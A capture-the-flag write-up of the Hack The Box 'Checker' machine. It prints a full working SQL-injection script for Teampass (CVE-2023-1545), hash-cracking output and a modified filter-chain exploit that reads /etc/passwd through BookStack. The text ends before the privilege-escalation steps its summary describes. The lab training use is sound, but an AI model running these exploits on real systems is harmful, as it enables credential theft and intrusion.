Post

HTB Writeup: Checker

Teampass SQLi → hash crack → BookStack LFR → recover reader TOTP → SSH → sudo script + SysV SHM race → root.

HTB Writeup: Checker

A quick walkthrough of HTB Checker Linux Hard Box.

TL;DR

  • Found a vulnerable Teampass instance on port 8080 and dumped user bcrypt hashes via a known SQLi (CVE-2023-1545).
  • Cracked bob’s bcrypt hash (password: cheerleader) and logged into Teampass as bob.
  • Used a BookStack local-file-read (LFR) / SSRF technique to read the reader user’s ~/.google_authenticator from a backup path discovered in the web UI.
  • Generated the TOTP, logged in as reader, and discovered sudo rights: NOPASSWD: /opt/hash-checker/check-leak.sh *.
  • The root helper creates a SysV shared memory segment, prints its key, sleeps 1 second, then reads that segment and shells out to mysql with the SHM contents embedded in the -e ‘…’ argument.
  • We raced the short window: overwrote the SHM with a quote-breaking payload which injected a reverse shell; root popped on our listener.
  • Root achieved.

Initial enumeration

As usual, we’ll begin with full tcp scan of the box :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Checker]
└─$ sudo nmap -Pn -n -sV -sC -A -T4 checker.htb -p-   
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-23 16:03 CET
Warning: 10.129.196.9 giving up on port because retransmission cap hit (6).
Nmap scan report for checker.htb (10.129.196.9)
Host is up (0.20s latency).
Not shown: 65507 closed tcp ports (reset)
PORT      STATE    SERVICE     VERSION
22/tcp    open     ssh         OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 aa:54:07:41:98:b8:11:b0:78:45:f1:ca:8c:5a:94:2e (ECDSA)
|_  256 8f:2b:f3:22:1e:74:3b:ee:8b:40:17:6c:6c:b1:93:9c (ED25519)
80/tcp    open     http        Apache httpd
|_http-title: 403 Forbidden
|_http-server-header: Apache
1046/tcp  filtered wfremotertm
8080/tcp  open     http        Apache httpd
|_http-title: 403 Forbidden
|_http-server-header: Apache
9687/tcp  filtered unknown
13151/tcp filtered unknown
15015/tcp filtered unknown
18313/tcp filtered unknown
20570/tcp filtered unknown
24776/tcp filtered unknown
27073/tcp filtered unknown
28535/tcp filtered unknown
29940/tcp filtered unknown
30130/tcp filtered unknown
30830/tcp filtered unknown
32674/tcp filtered unknown
32725/tcp filtered unknown
33200/tcp filtered unknown
33395/tcp filtered unknown
34967/tcp filtered unknown
35635/tcp filtered unknown
42731/tcp filtered unknown
49339/tcp filtered unknown
54431/tcp filtered unknown
54730/tcp filtered unknown
55619/tcp filtered unknown
60093/tcp filtered unknown
63051/tcp filtered unknown
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 554/tcp)
HOP RTT       ADDRESS
1   217.05 ms 10.10.14.1
2   217.07 ms 10.129.196.9

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 725.44 seconds

Open/interesting services: SSH (22), Apache (80) and another Apache instance on 8080. A quick whatweb revealed BookStack on port 80 (redirect to /login) and another webapp on 8080 — which turned out to be Teampass.

1
2
3
4
┌──(sc4nx㉿attackhost)-[~]
└─$ whatweb http://checker.htb --user-agent "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
http://checker.htb [302 Found] Apache, Cookies[XSRF-TOKEN,bookstack_session], Country[RESERVED][ZZ], HTML5, HTTPServer[Apache], HttpOnly[bookstack_session], IP[10.129.196.9], Meta-Refresh-Redirect[http://checker.htb/login], RedirectLocation[http://checker.htb/login], Title[Redirecting to http://checker.htb/login], UncommonHeaders[content-security-policy]
http://checker.htb/login [200 OK] Apache, Cookies[XSRF-TOKEN,bookstack_session], Country[RESERVED][ZZ], HTML5, HTTPServer[Apache], HttpOnly[bookstack_session], IP[10.129.196.9], Open-Graph-Protocol, PasswordField[password], Script, Title[BookStack], UncommonHeaders[content-security-policy]

ProTip™: Add checker.htb to /etc/hosts so tools (and cookies) behave predictably.

Let’s continue with nuclei in order to get any low hanging fruit :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Checker]
└─$ nuclei -u http://checker.htb

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.3.8

                projectdiscovery.io

[INF] Current nuclei version: v3.3.8 (outdated)
[INF] Current nuclei-templates version: v10.1.3 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 52
[INF] Templates loaded for current scan: 7709
[INF] Executing 7520 signed templates from projectdiscovery/nuclei-templates
[WRN] Loading 189 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[INF] Templates clustered: 1708 (Reduced 1614 Requests)
[INF] Using Interactsh Server: oast.me
[waf-detect:apachegeneric] [http] [info] http://checker.htb
[ssh-auth-methods] [javascript] [info] checker.htb:22 ["["keyboard-interactive"]"]
[ssh-server-enumeration] [javascript] [info] checker.htb:22 ["SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10"]
[ssh-sha1-hmac-algo] [javascript] [info] checker.htb:22
[openssh-detect] [tcp] [info] checker.htb:22 ["SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10"]
[http-missing-security-headers:x-frame-options] [http] [info] http://checker.htb
[http-missing-security-headers:x-content-type-options] [http] [info] http://checker.htb
[http-missing-security-headers:referrer-policy] [http] [info] http://checker.htb
[http-missing-security-headers:clear-site-data] [http] [info] http://checker.htb
[http-missing-security-headers:cross-origin-embedder-policy] [http] [info] http://checker.htb
[http-missing-security-headers:strict-transport-security] [http] [info] http://checker.htb
[http-missing-security-headers:content-security-policy] [http] [info] http://checker.htb
[http-missing-security-headers:permissions-policy] [http] [info] http://checker.htb
[http-missing-security-headers:cross-origin-opener-policy] [http] [info] http://checker.htb
[http-missing-security-headers:x-permitted-cross-domain-policies] [http] [info] http://checker.htb
[http-missing-security-headers:cross-origin-resource-policy] [http] [info] http://checker.htb
[caa-fingerprint] [dns] [info] checker.htb

I also noticed our first fuzzing session using ffuf returned many 429 http responses. This indicates usually some defense mechanism like a WAF. So we can confirm this using the approriate tools :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Checker]
└─$ wafw00f http://checker.htb

               /      \                           
              (  W00f! )                           
               \  ____/                           
               ,,    __            404 Hack Not Found  
           |`-.__   / /                      __     __    
           /"  _/  /_/                       \ \   / /  
          *===*    /                          \ \_/ /  405 Not Allowed 
         /     )__//                           \   /  
    /|  /     /---`                        403 Forbidden    
    \\/`   \ |                                 / _ \         
    `\    /_\\_              502 Bad Gateway  / / \ \  500 Internal Error 
      `_____``-`                             /_/   \_\\                          
                        ~ WAFW00F : v2.3.1 ~                                                                                                                                                                        
        The Web Application Firewall Fingerprinting Toolkit                       
[*] Checking http://checker.htb
[+] Generic Detection results:
[*] The site http://checker.htb seems to be behind a WAF or some sort of security solution
[~] Reason: The server returns a different response code when an attack string is used.
Normal response code is "200", while the response code to cross-site scripting attack is "403"
[~] Number of requests: 5

wafw00f confirmed the website is behind a WAF. This means we’ll be limited with any fuzzing tool sending a lot of requests. Given this rate limit, i’ll switch on the other website running on port 8080 and repeat the same enumeration steps.

This website is hosting a teampass instance :

teampass

I’ll run nuclei like we did on the main website :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Checker]
└─$ nuclei -u http://checker.htb:8080

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.3.8

                projectdiscovery.io

[INF] Current nuclei version: v3.3.8 (outdated)
[INF] Current nuclei-templates version: v10.1.3 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 52
[INF] Templates loaded for current scan: 7709
[INF] Executing 7520 signed templates from projectdiscovery/nuclei-templates
[WRN] Loading 189 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[INF] Templates clustered: 1708 (Reduced 1614 Requests)
[INF] Using Interactsh Server: oast.online
[waf-detect:apachegeneric] [http] [info] http://checker.htb:8080
[ssh-auth-methods] [javascript] [info] checker.htb:22 ["["keyboard-interactive"]"]
[ssh-sha1-hmac-algo] [javascript] [info] checker.htb:22
[ssh-server-enumeration] [javascript] [info] checker.htb:22 ["SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10"]
[openssh-detect] [tcp] [info] checker.htb:22 ["SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10"]
[http-missing-security-headers:x-content-type-options] [http] [info] http://checker.htb:8080
[http-missing-security-headers:x-permitted-cross-domain-policies] [http] [info] http://checker.htb:8080
[http-missing-security-headers:clear-site-data] [http] [info] http://checker.htb:8080
[http-missing-security-headers:cross-origin-opener-policy] [http] [info] http://checker.htb:8080
[http-missing-security-headers:cross-origin-resource-policy] [http] [info] http://checker.htb:8080
[http-missing-security-headers:content-security-policy] [http] [info] http://checker.htb:8080
[http-missing-security-headers:permissions-policy] [http] [info] http://checker.htb:8080
[http-missing-security-headers:referrer-policy] [http] [info] http://checker.htb:8080
[http-missing-security-headers:cross-origin-embedder-policy] [http] [info] http://checker.htb:8080
[http-missing-security-headers:strict-transport-security] [http] [info] http://checker.htb:8080
[http-missing-security-headers:x-frame-options] [http] [info] http://checker.htb:8080
[caa-fingerprint] [dns] [info] checker.htb

Getting the changelog is not revealing an exact version :

1
 * @copyright 2009-2022 Teampass.net

However we can still get an approximation. Checking on github, we can see :

githubversion

The modification in changelog to match this exact string occured at version 3.0.0.10

github

And version 3.0.0.22 is changing it to 2023 githubcommit

We can conclude the running version should be in between.


Foothold

Given this range of versions, i looked for any available exploit and found this potential CVE :

CVE-2023-1545 - Teampass SQL Injection vulnerability

Exploit PoC is available here :

https://github.com/HarshRajSinghania/CVE-2023-1545-Exploit/blob/main/exploit.sh

script :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/bin/bash

if [ "$#" -lt 1 ]; then
  echo "Usage: $0 <base-url>"
  exit 1
fi

vulnerable_url="$1/api/index.php/authorize"

check=$(curl --silent "$vulnerable_url")
if echo "$check" | grep -q "API usage is not allowed"; then
  echo "API feature is not enabled :-("
  exit 1
fi

# Generate an arbitrary Blowfish hash
arbitrary_hash='$2y$10$u5S27wYJCVbaPTRiHRsx7.iImx/WxRA8/tKvWdaWQ/iDuKlIkMbhq'

exec_sql() {
  inject="none' UNION SELECT id, '$arbitrary_hash', ($1), private_key, personal_folder, fonction_id, groupes_visibles, groupes_interdits, 'foo' FROM teampass_users WHERE login='admin"
  data="{\"login\":\""$inject\"",\"password\":\"h4ck3d\", \"apikey\": \"foo\"}"
  token=$(curl --silent --header "Content-Type: application/json" -X POST --data "$data" "$vulnerable_url" | jq -r '.token')
  echo $(echo $token | cut -d"." -f2 | base64 -d 2>/dev/null | jq -r '.public_key')
}

users=$(exec_sql "SELECT COUNT(*) FROM teampass_users WHERE pw != ''")

echo "There are $users users in the system:"

for i in $(seq 0 $(($users-1))); do
  username=$(exec_sql "SELECT login FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT $i,1")
  password=$(exec_sql "SELECT pw FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT $i,1")
  echo "$username: $password"
done

I fired the exploit and get 2 users and their respective hashes :

1
2
3
4
5
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Checker]
└─$ ./exploit.sh http://checker.htb:8080
There are 2 users in the system:
admin: $2y$10$lKCae0EIUNj6f96ZnLqnC.LbWqrBQCT1LuHEFht6PmE4yH75rpWya
bob: $2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy

It’s now time to crack these hashes and see if we can get one of these users password :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Checker]
└─$ hashcat -m 3200 hashes.txt /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #01: cpu--0x000, 2939/5879 MB (1024 MB allocatable), 2MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 72
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

Hashes: 2 digests; 2 unique digests, 2 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte

Watchdog: Temperature abort trigger set to 90c

Host memory allocated for this attack: 512 MB (1778 MB free)

Dictionary cache hit:
* Filename..: /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384

Cracking performance lower than expected?                 

* Append -w 3 to the commandline.
  This can cause your screen to lag.

* Append -S to the commandline.
  This has a drastic speed impact but can be better for specific attacks.
  Typical scenarios are a small wordlist but a large ruleset.

* Update your backend API runtime / driver the right way:
  https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
  https://hashcat.net/faq/morework

$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy:cheerleader
[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit => q

                                                          
Session..........: hashcat
Status...........: Quit
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: hashes.txt
Time.Started.....: Thu Oct 16 17:08:08 2025 (46 secs)
Time.Estimated...: Mon Oct 20 07:10:14 2025 (3 days, 14 hours)
Kernel.Feature...: Pure Kernel (password length 0-72 bytes)
Guess.Base.......: File (/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:       46 H/s (2.45ms) @ Accel:2 Loops:32 Thr:1 Vec:1
Recovered........: 1/2 (50.00%) Digests (total), 1/2 (50.00%) Digests (new), 1/2 (50.00%) Salts
Progress.........: 2696/28688768 (0.01%)
Rejected.........: 0/2696 (0.00%)
Restore.Point....: 1348/14344384 (0.01%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:160-192
Candidate.Engine.: Device Generator
Candidates.#01...: madonna -> special
Hardware.Mon.#01.: Util: 92%

Started: Thu Oct 16 17:08:06 2025
Stopped: Thu Oct 16 17:08:55 2025

Perfect ! We get bob ! We can now try accessing the application as bob

bob

We found 2 items under bob’s account, one for ssh access for the user reader and another for the bookstack app.

ssh

bookstack

We already get the SSH password but it’s still not sufficient as the authentication is using mfa :

1
2
3
4
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Checker]
└─$ ssh reader@checker.htb
(reader@checker.htb) Password: 
(reader@checker.htb) Verification code: 

For now, we don’t have the mfa codes so let’s have a look at the bookstack app.

httpboard

When looking for bookstack vulnerabilities, this one appeared interesting : CVE-2023-6199

https://fluidattacks.com/blog/lfr-via-blind-ssrf-book-stack/

This is a Local File Read vulnerability trough SSRF. The SSRF vulnerability lies in new page creation, so we’ll begin creating a page and use the exploit on the page id :

newpage

The original exploit can be found here :

https://github.com/synacktiv/php_filter_chains_oracle_exploit

Take the session and CSRF-TOKEN / XSRF-TOKEN value from a valid request and use it in the exploit params :

session

Unfortunately, the original exploit will crash as it cannot handle base64 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Checker/php_filter_chains_oracle_exploit]
└─$ python filters_chain_oracle_exploit.py --parameter html --headers '{"Content-Type": "application/x-www-form-urlencoded","X-CSRF-TOKEN":"eyJpdiI6Im9mbTRNUDFicXc3cjFsRURMUmFqbUE9PSIsInZhbHVlIjoidkdXZ25SMTlVN29LUEMwTXlFNGtsWXlUNWJsR05rM3Z2OEpRS2hpMnpKanIvTDRkSWVBNmtReTl3OUxyYlFxaVY5L3FQZnNtVWdjMkNXcW8xT3NSTi8wRW5DQzZJVG1oSHdqOWpvOEJvdkFmSVpnbUhRZXpLVUloN0xmU2xnVFUiLCJtYWMiOiI2ODg0OGI1ODRkYTEzM2MyNmJlMWY0NzVhMTZhY2YwOTk3NjI1OTgzMThlNTcwMDhiYTg4MzI2YjQ4MzJjODhkIiwidGFnIjoiIn0%3D","Cookie":"bookstack_session=eyJpdiI6IjJhaWJyVjhYUStiWkJoQjAxcDVwU1E9PSIsInZhbHVlIjoidmlvQzNHT3cxRXhubll3OFlTQ2NVV3ZacVJyYzhRb2hUSHhvSGVtdmVMYVdPbjdSNUhUQjdwVHg1dzZ3aWlRRTBFQlk3UGgrVm1sdjJUSmJGRnNlS3VrZFFpei9KSFYyWGd3NXd2d0xZVVkxb043ZXpiSU91cEtocEtmQmhVT20iLCJtYWMiOiIwNThmZDU5NjZhMjk3ZjkwZGM5NTQwOTdkYzIxOGQ5OTVmZDg3NDI3MjQxYjA5ZjNhMThiYTdiMDJhNjU5OTc1IiwidGFnIjoiIn0%3D"}' --verb PUT --target http://checker.htb/ajax/page/9/save-draft --file '/etc/passwd'
[*] The following URL is targeted : http://checker.htb/ajax/page/9/save-draft
[*] The following local file is leaked : /etc/passwd
[*] Running PUT requests
[*] Additionnal headers used : {"Content-Type": "application/x-www-form-urlencoded","X-CSRF-TOKEN":"eyJpdiI6Im9mbTRNUDFicXc3cjFsRURMUmFqbUE9PSIsInZhbHVlIjoidkdXZ25SMTlVN29LUEMwTXlFNGtsWXlUNWJsR05rM3Z2OEpRS2hpMnpKanIvTDRkSWVBNmtReTl3OUxyYlFxaVY5L3FQZnNtVWdjMkNXcW8xT3NSTi8wRW5DQzZJVG1oSHdqOWpvOEJvdkFmSVpnbUhRZXpLVUloN0xmU2xnVFUiLCJtYWMiOiI2ODg0OGI1ODRkYTEzM2MyNmJlMWY0NzVhMTZhY2YwOTk3NjI1OTgzMThlNTcwMDhiYTg4MzI2YjQ4MzJjODhkIiwidGFnIjoiIn0%3D","Cookie":"bookstack_session=eyJpdiI6IjJhaWJyVjhYUStiWkJoQjAxcDVwU1E9PSIsInZhbHVlIjoidmlvQzNHT3cxRXhubll3OFlTQ2NVV3ZacVJyYzhRb2hUSHhvSGVtdmVMYVdPbjdSNUhUQjdwVHg1dzZ3aWlRRTBFQlk3UGgrVm1sdjJUSmJGRnNlS3VrZFFpei9KSFYyWGd3NXd2d0xZVVkxb043ZXpiSU91cEtocEtmQmhVT20iLCJtYWMiOiIwNThmZDU5NjZhMjk3ZjkwZGM5NTQwOTdkYzIxOGQ5OTVmZDg3NDI3MjQxYjA5ZjNhMThiYTdiMDJhNjU5OTc1IiwidGFnIjoiIn0%3D"}
[-] File /etc/passwd is either empty, or the exploit did not work :(
[*] Auto fallback to time based attack
[*] The following URL is targeted : http://checker.htb/ajax/page/9/save-draft
[*] The following local file is leaked : /etc/passwd
[*] Running PUT requests
[*] Additionnal headers used : {"Content-Type": "application/x-www-form-urlencoded","X-CSRF-TOKEN":"eyJpdiI6Im9mbTRNUDFicXc3cjFsRURMUmFqbUE9PSIsInZhbHVlIjoidkdXZ25SMTlVN29LUEMwTXlFNGtsWXlUNWJsR05rM3Z2OEpRS2hpMnpKanIvTDRkSWVBNmtReTl3OUxyYlFxaVY5L3FQZnNtVWdjMkNXcW8xT3NSTi8wRW5DQzZJVG1oSHdqOWpvOEJvdkFmSVpnbUhRZXpLVUloN0xmU2xnVFUiLCJtYWMiOiI2ODg0OGI1ODRkYTEzM2MyNmJlMWY0NzVhMTZhY2YwOTk3NjI1OTgzMThlNTcwMDhiYTg4MzI2YjQ4MzJjODhkIiwidGFnIjoiIn0%3D","Cookie":"bookstack_session=eyJpdiI6IjJhaWJyVjhYUStiWkJoQjAxcDVwU1E9PSIsInZhbHVlIjoidmlvQzNHT3cxRXhubll3OFlTQ2NVV3ZacVJyYzhRb2hUSHhvSGVtdmVMYVdPbjdSNUhUQjdwVHg1dzZ3aWlRRTBFQlk3UGgrVm1sdjJUSmJGRnNlS3VrZFFpei9KSFYyWGd3NXd2d0xZVVkxb043ZXpiSU91cEtocEtmQmhVT20iLCJtYWMiOiIwNThmZDU5NjZhMjk3ZjkwZGM5NTQwOTdkYzIxOGQ5OTVmZDg3NDI3MjQxYjA5ZjNhMThiYTdiMDJhNjU5OTc1IiwidGFnIjoiIn0%3D"}
[+] Error handling duration : -0.023733000000000004
[*] Trying the process in a warning friendly way
Traceback (most recent call last):
  File "/home/sc4nx/Downloads/HTBBoxes/Checker/php_filter_chains_oracle_exploit/filters_chain_oracle_exploit.py", line 174, in <module>
    filters_chain_oracle.main()
    ~~~~~~~~~~~~~~~~~~~~~~~~~^^
  File "/home/sc4nx/Downloads/HTBBoxes/Checker/php_filter_chains_oracle_exploit/filters_chain_oracle_exploit.py", line 164, in main
    self.bruteforcer.bruteforce()
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~^^
  File "/home/sc4nx/Downloads/HTBBoxes/Checker/php_filter_chains_oracle_exploit/filters_chain_oracle/core/bruteforcer.py", line 422, in bruteforce
    for self.base64, self.data in super().bruteforce():
                                  ~~~~~~~~~~~~~~~~~~^^
  File "/home/sc4nx/Downloads/HTBBoxes/Checker/php_filter_chains_oracle_exploit/filters_chain_oracle/core/bruteforcer.py", line 390, in bruteforce
    decoded = b64decode(self.pad_base64(base64))
  File "/usr/lib/python3.13/base64.py", line 88, in b64decode
    return binascii.a2b_base64(s, strict_mode=validate)
           ~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^
binascii.Error: Invalid base64-encoded string: number of data characters (1) cannot be 1 more than a multiple of 4

So we have to fix the exploit code, specifically this function in core/requestor.py :

requestor.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
    """
    Returns the response of a request defined with all options
    """
    def req_with_response(self, s):
        if self.delay > 0:
            time.sleep(self.delay)

        filter_chain = f'php://filter/{s}{self.in_chain}/resource={self.file_to_leak}'
        # DEBUG print(filter_chain)
        merged_data = self.parse_parameter(filter_chain)
        # DEBUG print("we sent : ", merged_data['html'])
        encodedPayload = base64.b64encode(merged_data['html'].encode("ascii")).decode("ascii")
        newPayload = {"name":"V3701", 'html': "<img src='data:image/png;base64," + encodedPayload + "'\\>"}
        # DEBUG print('new : ', newPayload)
        # Make the request, the verb and data encoding is defined
        try:
            if self.verb == Verb.GET:
                requ = self.session.get(self.target, params=newPayload)
                return requ
            elif self.verb == Verb.PUT:
                if self.json_input: 
                    requ = self.session.put(self.target, json=newPayload)
                else:
                    requ = self.session.put(self.target, data=newPayload)
                return requ
            elif self.verb == Verb.DELETE:
                if self.json_input:
                    requ = self.session.delete(self.target, json=newPayload)
                else:
                    requ = self.session.delete(self.target, data=newPayload)
                return requ
            elif self.verb == Verb.POST:
                if self.json_input:
                    requ = self.session.post(self.target, json=newPayload)
                else:
                    requ = self.session.post(self.target, data=newPayload)
                return requ
        except requests.exceptions.ConnectionError :
            print("[-] Could not instantiate a connection")
            exit(1)
        return None

We can now launch the exploit and read any available file :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Checker/php_filter_chains_oracle_exploit]
└─$ python filters_chain_oracle_exploit.py --target 'http://checker.htb/ajax/page/8/save-draft' --file '/etc/passwd' --verb PUT --parameter html --headers '{"Cookie":"XSRF-TOKEN=eyJpdiI6InAwR3ZTWEtycFU1WTk4d3lIRGtrcGc9PSIsInZhbHVlIjoiK0NoTUVGR0dMcTZKa3FWNEtoeGNtOWY3cmdQcG8yTDRhU3JnQndvOVA3SXQwVXBaS0lrYjFYb3d5VHFjZEYwd1hFZ3VvWHkzV1A5dE1yek9HQjR6Zy9YY1NjZDFHQUtuZ2Q4SnVBNE5SN0tDVEc5UXNqbmd6Z1d0bG5ZN0FBQlAiLCJtYWMiOiIyZGY0NWQ3YjFiN2I1NGU5YTFhNDg1MmFmMzY2MDNjM2VhM2I4NmNmNmMxYTVjMzY3M2Y0YTZkMmI4YmEyYjBjIiwidGFnIjoiIn0%3D; bookstack_session=eyJpdiI6ImhqeHVvTnQwV3BLbkszUVhQMlE0dnc9PSIsInZhbHVlIjoiMkVjeERVeHdwRmpEN3FCb0FuaFlQMmZMOThydnNtUnJPbWFibkI4TWp1ZGlNb2MxQzBjRkNTWUhES1daV29qVU1USGhuWE5ld3ZFRUFNUGZrVVNGOGFVWTdrd0M3d2xJY21uRzdEdStnMzAxcG5rMVZIWVZxZW5RK0N5WnorSDYiLCJtYWMiOiI2ZjkyYTk0ZTU5YjkwYjNiMjZiNDY0MjcxMWRhMjY4ZjA1ZDNhZTZjN2NiOTdmMjJiOTRiNzE5MzBiNTliNDBlIiwidGFnIjoiIn0%3D", "X-CSRF-TOKEN":"8ye7tNR8UndHqIX0vR7ylumAtp28637rwVpGzwiD"}'
[*] The following URL is targeted : http://checker.htb/ajax/page/8/save-draft
[*] The following local file is leaked : /etc/passwd
[*] Running PUT requests
[*] Additionnal headers used : {"Cookie":"XSRF-TOKEN=eyJpdiI6InAwR3ZTWEtycFU1WTk4d3lIRGtrcGc9PSIsInZhbHVlIjoiK0NoTUVGR0dMcTZKa3FWNEtoeGNtOWY3cmdQcG8yTDRhU3JnQndvOVA3SXQwVXBaS0lrYjFYb3d5VHFjZEYwd1hFZ3VvWHkzV1A5dE1yek9HQjR6Zy9YY1NjZDFHQUtuZ2Q4SnVBNE5SN0tDVEc5UXNqbmd6Z1d0bG5ZN0FBQlAiLCJtYWMiOiIyZGY0NWQ3YjFiN2I1NGU5YTFhNDg1MmFmMzY2MDNjM2VhM2I4NmNmNmMxYTVjMzY3M2Y0YTZkMmI4YmEyYjBjIiwidGFnIjoiIn0%3D; bookstack_session=eyJpdiI6ImhqeHVvTnQwV3BLbkszUVhQMlE0dnc9PSIsInZhbHVlIjoiMkVjeERVeHdwRmpEN3FCb0FuaFlQMmZMOThydnNtUnJPbWFibkI4TWp1ZGlNb2MxQzBjRkNTWUhES1daV29qVU1USGhuWE5ld3ZFRUFNUGZrVVNGOGFVWTdrd0M3d2xJY21uRzdEdStnMzAxcG5rMVZIWVZxZW5RK0N5WnorSDYiLCJtYWMiOiI2ZjkyYTk0ZTU5YjkwYjNiMjZiNDY0MjcxMWRhMjY4ZjA1ZDNhZTZjN2NiOTdmMjJiOTRiNzE5MzBiNTliNDBlIiwidGFnIjoiIn0%3D", "X-CSRF-TOKEN":"8ye7tNR8UndHqIX0vR7ylumAtp28637rwVpGzwiD"}
cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW
b'root:x:0:0:root:/root:/bin/bash\n
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n
bin:x:2:2:bin:/bin:/usr/sbin/nologin\n
sys:x:3:3:sys:/dev:/usr/sbin/nologin\n
sync:x:4:65534:sync:/bin:/bin/sync\n
games:x:5:60:games:/usr/games:/usr/sbin/nologin\n
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\n
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\n
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin\n
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin\n
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\n
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin\n
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\n
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin\n
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\n
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\n
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\n
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n
